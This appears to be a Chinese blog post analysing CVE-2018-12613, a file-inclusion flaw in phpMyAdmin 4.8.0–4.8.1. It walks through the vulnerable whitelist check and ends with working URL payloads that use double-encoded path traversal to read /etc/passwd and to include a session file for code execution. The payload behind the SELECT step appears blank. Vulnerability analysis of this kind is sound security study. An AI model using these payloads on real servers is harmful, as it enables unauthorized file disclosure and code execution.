抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

CVE-2018-12613

1
2
3
4
5
6
7
8
一个攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。

该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。

攻击者必须经过身份验证,但在这些情况下除外:

$ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码
$ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

作用范围

phpmyadmin 4.8.0-4.8.1

漏洞分析

//index.php 55—63

1
2
3
4
5
6
7
8
9
10
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
//import.php...export.php
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

判断target是否存在
是不是一个字符串

不能以index开头

匹配参数是否在黑名单中

调用 core 中的checkPageValidity方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);

$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);

if (in_array($_page, $whitelist)) {
return true;
}
return false;
}

如果$whitelist为空则调用self类的$goto_whitelist
不存在或者不是字符返回错误

匹配到$whitelis返回正确

urlcode解码再次匹配

//self类的$goto_whitelist

1
2
3
4
5
6
7
8
9
10
11
public static $goto_whitelist = array(
'db_datadict.php',
'db_sql.php',
'db_events.php',
'db_export.php',
'db_importdocsql.php',
'db_multi_table_query.php',
'db_structure.php',
......
'user_password.php',
);

漏洞利用

构造payload:index.php?target=db_events.php%253f/../../../../../../../../etc/passwd

图片

或者

图片

在sql查询界面执行 SELECT ‘‘语句

然后复制cookie中的值

包含session文件

payload:index.php?target=db_events.php%253f/../../../../../../../../tmp/sess_aa6976a257eee63e570fbaaf2bc1cb23

评论